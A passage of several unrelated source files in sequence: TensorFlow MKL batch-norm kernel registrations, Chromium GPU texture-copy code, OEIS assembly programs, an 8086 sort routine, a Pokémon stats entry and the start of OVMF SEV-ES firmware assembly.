(*diff_shift_tensor)->shape().num_elements(), static_cast<U>(0)); // Placeholders for estimated_mean and estimated_variance, which are // used for inference and thus not needed here for gradient computation. Tensor *p1_tensor = nullptr, *p2_tensor = nullptr; MklDnnShape mkl_shape_p; mkl_shape_p.SetMklTensor(false); AllocateOutputSetMklShape(context, kP1Index, &p1_tensor, TensorShape({}), mkl_shape_p, native_format); std::fill_n(p1_tensor->flat<U>().data(), p1_tensor->shape().num_elements(), static_cast<U>(0)); AllocateOutputSetMklShape(context, kP2Index, &p2_tensor, TensorShape({}), mkl_shape_p, native_format); std::fill_n(p2_tensor->flat<U>().data(), p2_tensor->shape().num_elements(), static_cast<U>(0)); } memory::dims GetMeanVarianceDims() { return memory::dims({1, depth_}); } }; #define REGISTER_MKL_FUSED_BATCHNORM_CPU(T) \ REGISTER_KERNEL_BUILDER( \ Name("_MklFusedBatchNorm") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .Label(mkl_op_registry::kMklLayoutDependentOpLabel), \ MklFusedBatchNormOp<CPUDevice, T, T, false, false>); \ REGISTER_KERNEL_BUILDER( \ Name("_MklNativeFusedBatchNorm") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .Label(mkl_op_registry::kMklNameChangeOpLabel), \ MklFusedBatchNormOp<CPUDevice, T, T, false, false, true>); TF_CALL_float(REGISTER_MKL_FUSED_BATCHNORM_CPU); TF_CALL_bfloat16(REGISTER_MKL_FUSED_BATCHNORM_CPU); #undef REGISTER_MKL_FUSED_BATCHNORM_CPU #define REGISTER_MKL_FUSED_BATCHNORM_V2_CPU(T, U) \ REGISTER_KERNEL_BUILDER( \ Name("_MklFusedBatchNormV2") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .TypeConstraint<U>("U") \ .Label(mkl_op_registry::kMklLayoutDependentOpLabel), \ MklFusedBatchNormOp<CPUDevice, T, U, false, false>); \ REGISTER_KERNEL_BUILDER( \ Name("_MklNativeFusedBatchNormV2") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .TypeConstraint<U>("U") \ .Label(mkl_op_registry::kMklNameChangeOpLabel), \ MklFusedBatchNormOp<CPUDevice, T, U, false, false, true>); REGISTER_MKL_FUSED_BATCHNORM_V2_CPU(float, float); REGISTER_MKL_FUSED_BATCHNORM_V2_CPU(bfloat16, float); #undef REGISTER_MKL_FUSED_BATCHNORM_V2_CPU #define REGISTER_MKL_FUSED_BATCHNORM_GRAD_CPU(T) \ REGISTER_KERNEL_BUILDER( \ Name("_MklFusedBatchNormGrad") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .Label(mkl_op_registry::kMklLayoutDependentOpLabel), \ MklFusedBatchNormGradOp<CPUDevice, T, T, false>); \ REGISTER_KERNEL_BUILDER( \ Name("_MklNativeFusedBatchNormGrad") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .Label(mkl_op_registry::kMklNameChangeOpLabel), \ MklFusedBatchNormGradOp<CPUDevice, T, T, false, true>); TF_CALL_float(REGISTER_MKL_FUSED_BATCHNORM_GRAD_CPU); TF_CALL_bfloat16(REGISTER_MKL_FUSED_BATCHNORM_GRAD_CPU); #undef REGISTER_MKL_FUSED_BATCHNORM_GRAD_CPU #define REGISTER_MKL_FUSED_BATCHNORM_GRAD_V2_CPU(T, U) \ REGISTER_KERNEL_BUILDER( \ Name("_MklFusedBatchNormGradV2") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .TypeConstraint<U>("U") \ .Label(mkl_op_registry::kMklLayoutDependentOpLabel), \ MklFusedBatchNormGradOp<CPUDevice, T, U, false>); \ REGISTER_KERNEL_BUILDER( \ Name("_MklNativeFusedBatchNormGradV2") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .TypeConstraint<U>("U") \ .Label(mkl_op_registry::kMklNameChangeOpLabel), \ MklFusedBatchNormGradOp<CPUDevice, T, U, false, true>); REGISTER_MKL_FUSED_BATCHNORM_GRAD_V2_CPU(float, float); REGISTER_MKL_FUSED_BATCHNORM_GRAD_V2_CPU(bfloat16, float); #undef REGISTER_MKL_FUSED_BATCHNORM_GRAD_V2_CPU // TODO(intel-tf): FusedBatchNormV3 has an additional output that // is used to hold intermediate results. This parameter // functionality is not implemented on CPU. #define REGISTER_MKL_FUSED_BATCHNORM_V3_CPU(T, U) \ REGISTER_KERNEL_BUILDER( \ Name("_MklFusedBatchNormV3") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .TypeConstraint<U>("U") \ .Label(mkl_op_registry::kMklLayoutDependentOpLabel), \ MklFusedBatchNormOp<CPUDevice, T, U, true, false>); \ REGISTER_KERNEL_BUILDER( \ Name("_MklFusedBatchNormEx") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .TypeConstraint<U>("U") \ .Label(mkl_op_registry::kMklLayoutDependentOpLabel), \ MklFusedBatchNormOp<CPUDevice, T, U, true, true>); \ REGISTER_KERNEL_BUILDER( \ Name("_MklNativeFusedBatchNormV3") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .TypeConstraint<U>("U") \ .Label(mkl_op_registry::kMklNameChangeOpLabel), \ MklFusedBatchNormOp<CPUDevice, T, U, true, false, true>); \ REGISTER_KERNEL_BUILDER( \ Name("_MklNativeFusedBatchNormEx") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .TypeConstraint<U>("U") \ .Label(mkl_op_registry::kMklNameChangeOpLabel), \ MklFusedBatchNormOp<CPUDevice, T, U, true, true, true>); REGISTER_MKL_FUSED_BATCHNORM_V3_CPU(float, float); REGISTER_MKL_FUSED_BATCHNORM_V3_CPU(bfloat16, float); #undef REGISTER_MKL_FUSED_BATCHNORM_V3_CPU REGISTER_KERNEL_BUILDER(Name("_FusedBatchNormEx") .Device(DEVICE_CPU) .TypeConstraint<float>("T") .TypeConstraint<float>("U"), NoOp); REGISTER_KERNEL_BUILDER(Name("_FusedBatchNormEx") .Device(DEVICE_CPU) .TypeConstraint<bfloat16>("T") .TypeConstraint<float>("U"), NoOp); #define REGISTER_MKL_FUSED_BATCHNORM_GRAD_V3_CPU(T, U) \ REGISTER_KERNEL_BUILDER( \ Name("_MklFusedBatchNormGradV3") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .TypeConstraint<U>("U") \ .Label(mkl_op_registry::kMklLayoutDependentOpLabel), \ MklFusedBatchNormGradOp<CPUDevice, T, U, true>); \ REGISTER_KERNEL_BUILDER( \ Name("_MklNativeFusedBatchNormGradV3") \ .Device(DEVICE_CPU) \ .TypeConstraint<T>("T") \ .TypeConstraint<U>("U") \ .Label(mkl_op_registry::kMklNameChangeOpLabel), \ MklFusedBatchNormGradOp<CPUDevice, T, U, true, true>); REGISTER_MKL_FUSED_BATCHNORM_GRAD_V3_CPU(float, float); REGISTER_MKL_FUSED_BATCHNORM_GRAD_V3_CPU(bfloat16, float); #undef REGISTER_MKL_FUSED_BATCHNORM_GRAD_V3_CPU } // namespace tensorflow #undef GET_FLAG #undef IS_SET #endif // INTEL_MKL
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "gpu/command_buffer/service/gles2_cmd_copy_texture_chromium.h" #include <algorithm> #include "base/basictypes.h" #include "gpu/command_buffer/service/gl_utils.h" #include "gpu/command_buffer/service/gles2_cmd_decoder.h" #define SHADER(src) \ "#ifdef GL_ES\n" \ "precision mediump float;\n" \ "#define TexCoordPrecision mediump\n" \ "#else\n" \ "#define TexCoordPrecision\n" \ "#endif\n" #src #define SHADER_2D(src) \ "#define SamplerType sampler2D\n" \ "#define TextureLookup texture2D\n" SHADER(src) #define SHADER_RECTANGLE_ARB(src) \ "#define SamplerType sampler2DRect\n" \ "#define TextureLookup texture2DRect\n" SHADER(src) #define SHADER_EXTERNAL_OES(src) \ "#extension GL_OES_EGL_image_external : require\n" \ "#define SamplerType samplerExternalOES\n" \ "#define TextureLookup texture2D\n" SHADER(src) #define FRAGMENT_SHADERS(src) \ SHADER_2D(src), SHADER_RECTANGLE_ARB(src), SHADER_EXTERNAL_OES(src) namespace { enum VertexShaderId { VERTEX_SHADER_COPY_TEXTURE, VERTEX_SHADER_COPY_TEXTURE_FLIP_Y, NUM_VERTEX_SHADERS, }; enum FragmentShaderId { FRAGMENT_SHADER_COPY_TEXTURE_2D, FRAGMENT_SHADER_COPY_TEXTURE_RECTANGLE_ARB, FRAGMENT_SHADER_COPY_TEXTURE_EXTERNAL_OES, FRAGMENT_SHADER_COPY_TEXTURE_PREMULTIPLY_ALPHA_2D, FRAGMENT_SHADER_COPY_TEXTURE_PREMULTIPLY_ALPHA_RECTANGLE_ARB, FRAGMENT_SHADER_COPY_TEXTURE_PREMULTIPLY_ALPHA_EXTERNAL_OES, FRAGMENT_SHADER_COPY_TEXTURE_UNPREMULTIPLY_ALPHA_2D, FRAGMENT_SHADER_COPY_TEXTURE_UNPREMULTIPLY_ALPHA_RECTANGLE_ARB, FRAGMENT_SHADER_COPY_TEXTURE_UNPREMULTIPLY_ALPHA_EXTERNAL_OES, NUM_FRAGMENT_SHADERS, }; const char* vertex_shader_source[NUM_VERTEX_SHADERS] = { // VERTEX_SHADER_COPY_TEXTURE SHADER( uniform mat4 u_matrix; uniform vec2 u_half_size; attribute vec4 a_position; varying TexCoordPrecision vec2 v_uv; void main(void) { gl_Position = u_matrix * a_position; v_uv = a_position.xy * vec2(u_half_size.s, u_half_size.t) + vec2(u_half_size.s, u_half_size.t); }), // VERTEX_SHADER_COPY_TEXTURE_FLIP_Y SHADER( uniform mat4 u_matrix; uniform vec2 u_half_size; attribute vec4 a_position; varying TexCoordPrecision vec2 v_uv; void main(void) { gl_Position = u_matrix * a_position; v_uv = a_position.xy * vec2(u_half_size.s, -u_half_size.t) + vec2(u_half_size.s, u_half_size.t); }), }; const char* fragment_shader_source[NUM_FRAGMENT_SHADERS] = { // FRAGMENT_SHADER_COPY_TEXTURE_* FRAGMENT_SHADERS( uniform SamplerType u_sampler; varying TexCoordPrecision vec2 v_uv; void main(void) { gl_FragColor = TextureLookup(u_sampler, v_uv.st); }), // FRAGMENT_SHADER_COPY_TEXTURE_PREMULTIPLY_ALPHA_* FRAGMENT_SHADERS( uniform SamplerType u_sampler; varying TexCoordPrecision vec2 v_uv; void main(void) { gl_FragColor = TextureLookup(u_sampler, v_uv.st); gl_FragColor.rgb *= gl_FragColor.a; }), // FRAGMENT_SHADER_COPY_TEXTURE_UNPREMULTIPLY_ALPHA_* FRAGMENT_SHADERS( uniform SamplerType u_sampler; varying TexCoordPrecision vec2 v_uv; void main(void) { gl_FragColor = TextureLookup(u_sampler, v_uv.st); if (gl_FragColor.a > 0.0) gl_FragColor.rgb /= gl_FragColor.a; }), }; // Returns the correct vertex shader id to evaluate the copy operation for // the CHROMIUM_flipy setting. VertexShaderId GetVertexShaderId(bool flip_y) { // bit 0: flip y static VertexShaderId shader_ids[] = { VERTEX_SHADER_COPY_TEXTURE, VERTEX_SHADER_COPY_TEXTURE_FLIP_Y, }; unsigned index = flip_y ? 1 : 0; return shader_ids[index]; } // Returns the correct fragment shader id to evaluate the copy operation for // the premultiply alpha pixel store settings and target. FragmentShaderId GetFragmentShaderId(bool premultiply_alpha, bool unpremultiply_alpha, GLenum target) { enum { SAMPLER_2D, SAMPLER_RECTANGLE_ARB, SAMPLER_EXTERNAL_OES, NUM_SAMPLERS }; // bit 0: premultiply alpha // bit 1: unpremultiply alpha static FragmentShaderId shader_ids[][NUM_SAMPLERS] = { { FRAGMENT_SHADER_COPY_TEXTURE_2D, FRAGMENT_SHADER_COPY_TEXTURE_RECTANGLE_ARB, FRAGMENT_SHADER_COPY_TEXTURE_EXTERNAL_OES, }, { FRAGMENT_SHADER_COPY_TEXTURE_PREMULTIPLY_ALPHA_2D, FRAGMENT_SHADER_COPY_TEXTURE_PREMULTIPLY_ALPHA_RECTANGLE_ARB, FRAGMENT_SHADER_COPY_TEXTURE_PREMULTIPLY_ALPHA_EXTERNAL_OES, }, { FRAGMENT_SHADER_COPY_TEXTURE_UNPREMULTIPLY_ALPHA_2D, FRAGMENT_SHADER_COPY_TEXTURE_UNPREMULTIPLY_ALPHA_RECTANGLE_ARB, FRAGMENT_SHADER_COPY_TEXTURE_UNPREMULTIPLY_ALPHA_EXTERNAL_OES, }, { FRAGMENT_SHADER_COPY_TEXTURE_2D, FRAGMENT_SHADER_COPY_TEXTURE_RECTANGLE_ARB, FRAGMENT_SHADER_COPY_TEXTURE_EXTERNAL_OES, }}; unsigned index = (premultiply_alpha ? (1 << 0) : 0) | (unpremultiply_alpha ? (1 << 1) : 0); switch (target) { case GL_TEXTURE_2D: return shader_ids[index][SAMPLER_2D]; case GL_TEXTURE_RECTANGLE_ARB: return shader_ids[index][SAMPLER_RECTANGLE_ARB]; case GL_TEXTURE_EXTERNAL_OES: return shader_ids[index][SAMPLER_EXTERNAL_OES]; default: break; } NOTREACHED(); return shader_ids[0][SAMPLER_2D]; } void CompileShader(GLuint shader, const char* shader_source) { glShaderSource(shader, 1, &shader_source, 0); glCompileShader(shader); #ifndef NDEBUG GLint compile_status; glGetShaderiv(shader, GL_COMPILE_STATUS, &compile_status); if (GL_TRUE != compile_status) DLOG(ERROR) << "CopyTextureCHROMIUM: shader compilation failure."; #endif } void DeleteShader(GLuint shader) { if (shader) glDeleteShader(shader); } bool BindFramebufferTexture2D(GLenum target, GLuint texture_id, GLint level, GLuint framebuffer) { DCHECK(target == GL_TEXTURE_2D || target == GL_TEXTURE_RECTANGLE_ARB); glActiveTexture(GL_TEXTURE0); glBindTexture(target, texture_id); // NVidia drivers require texture settings to be a certain way // or they won't report FRAMEBUFFER_COMPLETE. glTexParameterf(target, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameterf(target, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glTexParameteri(target, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(target, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glBindFramebufferEXT(GL_FRAMEBUFFER_EXT, framebuffer); glFramebufferTexture2DEXT( GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, target, texture_id, level); #ifndef NDEBUG GLenum fb_status = glCheckFramebufferStatusEXT(GL_FRAMEBUFFER); if (GL_FRAMEBUFFER_COMPLETE != fb_status) { DLOG(ERROR) << "CopyTextureCHROMIUM: Incomplete framebuffer."; return false; } #endif return true; } void DoCopyTexImage2D(const gpu::gles2::GLES2Decoder* decoder, GLenum source_target, GLuint source_id, GLuint dest_id, GLint dest_level, GLenum dest_internal_format, GLsizei width, GLsizei height, GLuint framebuffer) { DCHECK(source_target == GL_TEXTURE_2D || source_target == GL_TEXTURE_RECTANGLE_ARB); if (BindFramebufferTexture2D( source_target, source_id, 0 /* level */, framebuffer)) { glBindTexture(GL_TEXTURE_2D, dest_id); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glCopyTexImage2D(GL_TEXTURE_2D, dest_level, dest_internal_format, 0 /* x */, 0 /* y */, width, height, 0 /* border */); } decoder->RestoreTextureState(source_id); decoder->RestoreTextureState(dest_id); decoder->RestoreTextureUnitBindings(0); decoder->RestoreActiveTexture(); decoder->RestoreFramebufferBindings(); } } // namespace namespace gpu { CopyTextureCHROMIUMResourceManager::CopyTextureCHROMIUMResourceManager() : initialized_(false), vertex_shaders_(NUM_VERTEX_SHADERS, 0u), fragment_shaders_(NUM_FRAGMENT_SHADERS, 0u), buffer_id_(0u), framebuffer_(0u) {} CopyTextureCHROMIUMResourceManager::~CopyTextureCHROMIUMResourceManager() { DCHECK(!buffer_id_); DCHECK(!framebuffer_); } void CopyTextureCHROMIUMResourceManager::Initialize( const gles2::GLES2Decoder* decoder) { COMPILE_ASSERT( kVertexPositionAttrib == 0u, Position_attribs_must_be_0); DCHECK(!buffer_id_); DCHECK(!framebuffer_); DCHECK(programs_.empty()); // Initialize all of the GPU resources required to perform the copy. glGenBuffersARB(1, &buffer_id_); glBindBuffer(GL_ARRAY_BUFFER, buffer_id_); const GLfloat kQuadVertices[] = {-1.0f, -1.0f, 1.0f, -1.0f, 1.0f, 1.0f, -1.0f, 1.0f}; glBufferData( GL_ARRAY_BUFFER, sizeof(kQuadVertices), kQuadVertices, GL_STATIC_DRAW); glGenFramebuffersEXT(1, &framebuffer_); decoder->RestoreBufferBindings(); initialized_ = true; } void CopyTextureCHROMIUMResourceManager::Destroy() { if (!initialized_) return; glDeleteFramebuffersEXT(1, &framebuffer_); framebuffer_ = 0; std::for_each(vertex_shaders_.begin(), vertex_shaders_.end(), DeleteShader); std::for_each( fragment_shaders_.begin(), fragment_shaders_.end(), DeleteShader); for (ProgramMap::const_iterator it = programs_.begin(); it != programs_.end(); ++it) { const ProgramInfo& info = it->second; glDeleteProgram(info.program); } glDeleteBuffersARB(1, &buffer_id_); buffer_id_ = 0; } void CopyTextureCHROMIUMResourceManager::DoCopyTexture( const gles2::GLES2Decoder* decoder, GLenum source_target, GLuint source_id, GLenum source_internal_format, GLuint dest_id, GLint dest_level, GLenum dest_internal_format, GLsizei width, GLsizei height, bool flip_y, bool premultiply_alpha, bool unpremultiply_alpha) { bool premultiply_alpha_change = premultiply_alpha ^ unpremultiply_alpha; // GL_INVALID_OPERATION is generated if the currently bound framebuffer's // format does not contain a superset of the components required by the base // format of internalformat. // https://www.khronos.org/opengles/sdk/docs/man/xhtml/glCopyTexImage2D.xml bool source_format_contain_superset_of_dest_format = source_internal_format == dest_internal_format || (source_internal_format == GL_RGBA && dest_internal_format == GL_RGB); // GL_TEXTURE_RECTANGLE_ARB on FBO is supported by OpenGL, not GLES2, // so restrict this to GL_TEXTURE_2D. if (source_target == GL_TEXTURE_2D && !flip_y && !premultiply_alpha_change && source_format_contain_superset_of_dest_format) { DoCopyTexImage2D(decoder, source_target, source_id, dest_id, dest_level, dest_internal_format, width, height, framebuffer_); return; } // Use default transform matrix if no transform passed in. const static GLfloat default_matrix[16] = {1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f}; DoCopyTextureWithTransform(decoder, source_target, source_id, dest_id, dest_level, width, height, flip_y, premultiply_alpha, unpremultiply_alpha, default_matrix); } void CopyTextureCHROMIUMResourceManager::DoCopyTextureWithTransform( const gles2::GLES2Decoder* decoder, GLenum source_target, GLuint source_id, GLuint dest_id, GLint dest_level, GLsizei width, GLsizei height, bool flip_y, bool premultiply_alpha, bool unpremultiply_alpha, const GLfloat transform_matrix[16]) { DCHECK(source_target == GL_TEXTURE_2D || source_target == GL_TEXTURE_RECTANGLE_ARB || source_target == GL_TEXTURE_EXTERNAL_OES); if (!initialized_) { DLOG(ERROR) << "CopyTextureCHROMIUM: Uninitialized manager."; return; } VertexShaderId vertex_shader_id = GetVertexShaderId(flip_y); DCHECK_LT(static_cast<size_t>(vertex_shader_id), vertex_shaders_.size()); FragmentShaderId fragment_shader_id = GetFragmentShaderId( premultiply_alpha, unpremultiply_alpha, source_target); DCHECK_LT(static_cast<size_t>(fragment_shader_id), fragment_shaders_.size()); ProgramMapKey key(vertex_shader_id, fragment_shader_id); ProgramInfo* info = &programs_[key]; // Create program if necessary. if (!info->program) { info->program = glCreateProgram(); GLuint* vertex_shader = &vertex_shaders_[vertex_shader_id]; if (!*vertex_shader) { *vertex_shader = glCreateShader(GL_VERTEX_SHADER); CompileShader(*vertex_shader, vertex_shader_source[vertex_shader_id]); } glAttachShader(info->program, *vertex_shader); GLuint* fragment_shader = &fragment_shaders_[fragment_shader_id]; if (!*fragment_shader) { *fragment_shader = glCreateShader(GL_FRAGMENT_SHADER); CompileShader(*fragment_shader, fragment_shader_source[fragment_shader_id]); } glAttachShader(info->program, *fragment_shader); glBindAttribLocation(info->program, kVertexPositionAttrib, "a_position"); glLinkProgram(info->program); #ifndef NDEBUG GLint linked; glGetProgramiv(info->program, GL_LINK_STATUS, &linked); if (!linked) DLOG(ERROR) << "CopyTextureCHROMIUM: program link failure."; #endif info->matrix_handle = glGetUniformLocation(info->program, "u_matrix"); info->half_size_handle = glGetUniformLocation(info->program, "u_half_size"); info->sampler_handle = glGetUniformLocation(info->program, "u_sampler"); } glUseProgram(info->program); #ifndef NDEBUG glValidateProgram(info->program); GLint validation_status; glGetProgramiv(info->program, GL_VALIDATE_STATUS, &validation_status); if (GL_TRUE != validation_status) { DLOG(ERROR) << "CopyTextureCHROMIUM: Invalid shader."; return; } #endif glUniformMatrix4fv(info->matrix_handle, 1, GL_FALSE, transform_matrix); if (source_target == GL_TEXTURE_RECTANGLE_ARB) glUniform2f(info->half_size_handle, width / 2.0f, height / 2.0f); else glUniform2f(info->half_size_handle, 0.5f, 0.5f); if (BindFramebufferTexture2D( GL_TEXTURE_2D, dest_id, dest_level, framebuffer_)) { decoder->ClearAllAttributes(); glEnableVertexAttribArray(kVertexPositionAttrib); glBindBuffer(GL_ARRAY_BUFFER, buffer_id_); glVertexAttribPointer(kVertexPositionAttrib, 2, GL_FLOAT, GL_FALSE, 0, 0); glUniform1i(info->sampler_handle, 0); glBindTexture(source_target, source_id); glTexParameterf(source_target, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameterf(source_target, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glTexParameteri(source_target, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(source_target, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glDisable(GL_DEPTH_TEST); glDisable(GL_SCISSOR_TEST); glDisable(GL_STENCIL_TEST); glDisable(GL_CULL_FACE); glColorMask(GL_TRUE, GL_TRUE, GL_TRUE, GL_TRUE); glDepthMask(GL_FALSE); glDisable(GL_BLEND); glViewport(0, 0, width, height); glDrawArrays(GL_TRIANGLE_FAN, 0, 4); } decoder->RestoreAllAttributes(); decoder->RestoreTextureState(source_id); decoder->RestoreTextureState(dest_id); decoder->RestoreTextureUnitBindings(0); decoder->RestoreActiveTexture(); decoder->RestoreProgramBindings(); decoder->RestoreBufferBindings(); decoder->RestoreFramebufferBindings(); decoder->RestoreGlobalState(); } } // namespace gpu
; A171900: Backwards van Eck transform of A010060. ; 0,0,1,3,2,2,1,3,1,3,1,3,2,2,1,3,2,2,1,3,2,2,1,3,1,3,1,3,2,2,1,3,1,3,1,3,2,2,1,3,1,3,1,3,2,2,1,3,2,2,1,3,2,2,1,3,1,3,1,3,2,2,1,3,2,2,1,3,2,2,1,3,1,3,1,3,2,2,1,3,2,2,1,3,2,2,1,3,1,3,1,3,2,2,1,3,1,3,1,3,2,2,1,3,1 mov $3,2 mov $9,$0 lpb $3 mov $0,$9 sub $3,1 add $0,$3 sub $0,1 mov $5,$0 mov $7,2 lpb $7 mov $0,$5 sub $7,1 add $0,$7 sub $0,1 mov $4,$0 mul $0,2 pow $4,2 lpb $0 mul $4,2 sub $4,$0 div $0,4 div $4,2 lpe mov $8,$7 mov $10,$4 lpb $8 mov $6,$10 sub $8,1 lpe lpe lpb $5 mov $5,0 sub $6,$10 lpe mov $2,$3 mov $10,$6 lpb $2 mov $1,$10 sub $2,1 lpe lpe lpb $9 sub $1,$10 mov $9,0 lpe
.8086 .model small .data s1 db 10h, 12h, 08h, 02h, 04h, 0Ah, 0Dh, 06h, 14h, 15h .code start: mov ax, @data mov ds, ax mov cl, 0Ah mov ch, 0Ah lea si, s1 back1: mov al, [si] mov ah, [si+1] cmp al, [si+1] jnc back2 jc back3 back2: mov [si], ah mov [si+1], al back3: dec cl jz back4 inc si jmp back1 back4: lea si, s1 dec ch jz next mov cl, ch jmp back1 next: int 3h end start
; A169964: Numbers whose decimal expansion contains only 0's and 5's. ; 0,5,50,55,500,505,550,555,5000,5005,5050,5055,5500,5505,5550,5555,50000,50005,50050,50055,50500,50505,50550,50555,55000,55005,55050,55055,55500,55505,55550,55555,500000,500005,500050,500055,500500,500505,500550,500555,505000,505005,505050,505055,505500,505505,505550,505555,550000,550005,550050,550055,550500,550505,550550,550555,555000,555005,555050,555055,555500,555505,555550,555555,5000000,5000005,5000050,5000055,5000500,5000505,5000550,5000555,5005000,5005005,5005050,5005055,5005500,5005505,5005550,5005555,5050000,5050005,5050050,5050055,5050500,5050505,5050550,5050555,5055000,5055005,5055050,5055055,5055500,5055505,5055550,5055555,5500000,5500005,5500050,5500055 seq $0,5836 ; Numbers n whose base 3 representation contains no 2. seq $0,7089 ; Numbers in base 3. mul $0,5
db DEX_RAPIDASH ; pokedex id db 65 ; base hp db 100 ; base attack db 70 ; base defense db 105 ; base speed db 80 ; base special db FAIRY ; species type 1 db PSYCHIC ; species type 2 db FULL_HEAL ; catch rate db 192 ; base exp yield INCBIN "pic/ymon/rapidash.pic",0,1 ; 77, sprite dimensions dw RapidashPicFront dw RapidashPicBack ; attacks known at lvl 0 db EMBER db TAIL_WHIP db STOMP db PSYCHIC db 0 ; growth rate ; learnset tmlearn 6,7,8 tmlearn 9,10,15,16 tmlearn 20 tmlearn 31,32 tmlearn 33,38,39 tmlearn 44 tmlearn 50 db BANK(RapidashPicFront)
;------------------------------------------------------------------------------ ; @file ; Provide the functions to check whether SEV and SEV-ES is enabled. ; ; Copyright (c) 2017 - 2021, Advanced Micro Devices, Inc. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ;------------------------------------------------------------------------------ BITS 32 ; ; SEV-ES #VC exception handler support ; ; #VC handler local variable locations ; %define VC_CPUID_RESULT_EAX 0 %define VC_CPUID_RESULT_EBX 4 %define VC_CPUID_RESULT_ECX 8 %define VC_CPUID_RESULT_EDX 12 %define VC_GHCB_MSR_EDX 16 %define VC_GHCB_MSR_EAX 20 %define VC_CPUID_REQUEST_REGISTER 24 %define VC_CPUID_FUNCTION 28 ; #VC handler total local variable size ; %define VC_VARIABLE_SIZE 32 ; #VC handler GHCB CPUID request/response protocol values ; %define GHCB_CPUID_REQUEST 4 %define GHCB_CPUID_RESPONSE 5 %define GHCB_CPUID_REGISTER_SHIFT 30 %define CPUID_INSN_LEN 2 %define SEV_GHCB_MSR 0xc0010130 %define SEV_STATUS_MSR 0xc0010131 ; The #VC was not for CPUID %define TERM_VC_NOT_CPUID 1 ; The unexpected response code %define TERM_UNEXPECTED_RESP_CODE 2 %define PAGE_PRESENT 0x01 %define PAGE_READ_WRITE 0x02 %define PAGE_USER_SUPERVISOR 0x04 %define PAGE_WRITE_THROUGH 0x08 %define PAGE_CACHE_DISABLE 0x010 %define PAGE_ACCESSED 0x020 %define PAGE_DIRTY 0x040 %define PAGE_PAT 0x080 %define PAGE_GLOBAL 0x0100 %define PAGE_2M_MBO 0x080 %define PAGE_2M_PAT 0x01000 %define PAGE_4K_PDE_ATTR (PAGE_ACCESSED + \ PAGE_DIRTY + \ PAGE_READ_WRITE + \ PAGE_PRESENT) %define PAGE_PDP_ATTR (PAGE_ACCESSED + \ PAGE_READ_WRITE + \ PAGE_PRESENT) ; Macro is used to issue the MSR protocol based VMGEXIT. The caller is ; responsible to populate values in the EDX:EAX registers. After the vmmcall ; returns, it verifies that the response code matches with the expected ; code. If it does not match then terminate the guest. The result of request ; is returned in the EDX:EAX. ; ; args 1:Request code, 2: Response code %macro VmgExit 2 ; ; Add request code: ; GHCB_MSR[11:0] = Request code or eax, %1 mov ecx, SEV_GHCB_MSR wrmsr ; Issue VMGEXIT - NASM doesn't support the vmmcall instruction in 32-bit ; mode, so work around this by temporarily switching to 64-bit mode. ; BITS 64 rep vmmcall BITS 32 mov ecx, SEV_GHCB_MSR rdmsr ; ; Verify the reponse code, if it does not match then request to terminate ; GHCB_MSR[11:0] = Response code mov ecx, eax and ecx, 0xfff cmp ecx, %2 jne SevEsUnexpectedRespTerminate %endmacro ; Macro to terminate the guest using the VMGEXIT. ; arg 1: reason code %macro TerminateVmgExit 1 mov eax, %1 ; ; Use VMGEXIT to request termination. At this point the reason code is ; located in EAX, so shift it left 16 bits to the proper location. ; ; EAX[11:0] => 0x100 - request termination ; EAX[15:12] => 0x1 - OVMF ; EAX[23:16] => 0xXX - REASON CODE ; shl eax, 16 or eax, 0x1100 xor edx, edx mov ecx, SEV_GHCB_MSR wrmsr ; ; Issue VMGEXIT - NASM doesn't support the vmmcall instruction in 32-bit ; mode, so work around this by temporarily switching to 64-bit mode. ; BITS 64 rep vmmcall BITS 32 ; ; We shouldn't come back from the VMGEXIT, but if we do, just loop. ; %%TerminateHlt: hlt jmp %%TerminateHlt %endmacro ; Terminate the guest due to unexpected response code. SevEsUnexpectedRespTerminate: TerminateVmgExit TERM_UNEXPECTED_RESP_CODE ; If SEV-ES is enabled then initialize and make the GHCB page shared SevClearPageEncMaskForGhcbPage: ; Check if SEV is enabled cmp byte[WORK_AREA_GUEST_TYPE], 1 jnz SevClearPageEncMaskForGhcbPageExit ; Check if SEV-ES is enabled cmp byte[SEV_ES_WORK_AREA], 1 jnz SevClearPageEncMaskForGhcbPageExit ; ; The initial GHCB will live at GHCB_BASE and needs to be un-encrypted. ; This requires the 2MB page for this range be broken down into 512 4KB ; pages. All will be marked encrypted, except for the GHCB. ; mov ecx, (GHCB_BASE >> 21) mov eax, GHCB_PT_ADDR + PAGE_PDP_ATTR mov [ecx * 8 + PT_ADDR (0x2000)], eax ; ; Page 